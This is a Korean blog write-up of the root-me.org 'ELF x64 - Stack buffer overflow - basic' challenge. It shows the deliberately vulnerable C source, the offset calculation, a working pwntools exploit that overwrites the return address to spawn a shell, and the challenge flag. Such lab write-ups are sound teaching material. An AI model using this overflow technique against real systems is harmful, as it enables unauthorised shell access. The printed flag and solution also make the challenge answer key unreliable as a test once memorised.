ii4gsp
root-me.org [APP-System] ELF x64 - Stack buffer overflow - basic 본문
시스템 해킹/root-me.org [APP - System]
root-me.org [APP-System] ELF x64 - Stack buffer overflow - basic
ii4gsp 2020. 2. 11. 15:23#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
/*
gcc -o ch35 ch35.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack
*/
void callMeMaybe(){
char *argv[] = { "/bin/bash", "-p", NULL };
execve(argv[0], argv, NULL);
}
int main(int argc, char **argv){
char buffer[256];
int len, i;
scanf("%s", buffer);
len = strlen(buffer);
printf("Hello %s\n", buffer);
return 0;
}
scanf()함수에서 취약점이 발생한다.
gdb로 main함수를 보면 buffer를 rbp-0x110부터 입력을 받는다.
0x110은 10진수로 272이다.
callMeMaybe()함수의 시작주소는 0x00000000004005e7이다.
buffer ~ sfp는 272이고 buffer ~ ret까지는 280이다.
280만큼 dummy를 주고 callMeMaybe()함수를 호출하면 쉘이 실행된다.
exploit
from pwn import *
r = ssh('app-systeme-ch35', 'challenge03.root-me.org', port=2223, password='app-systeme-ch35')
p = r.process('./ch35')
payload = ''
payload += '\x90' * 280
payload += p64(0x00000000004005e7)
p.sendline(payload)
p.interactive()
Flag: B4sicBufferOverflowExploitation
'시스템 해킹 > root-me.org [APP - System]' 카테고리의 다른 글
root-me.org [APP-System] ELF x86 - Stack buffer overflow basic 2 (0) | 2020.02.03 |
---|---|
root-me.org [APP-System] ELF x86 - Stack buffer overflow basic 1 (0) | 2020.02.03 |
Comments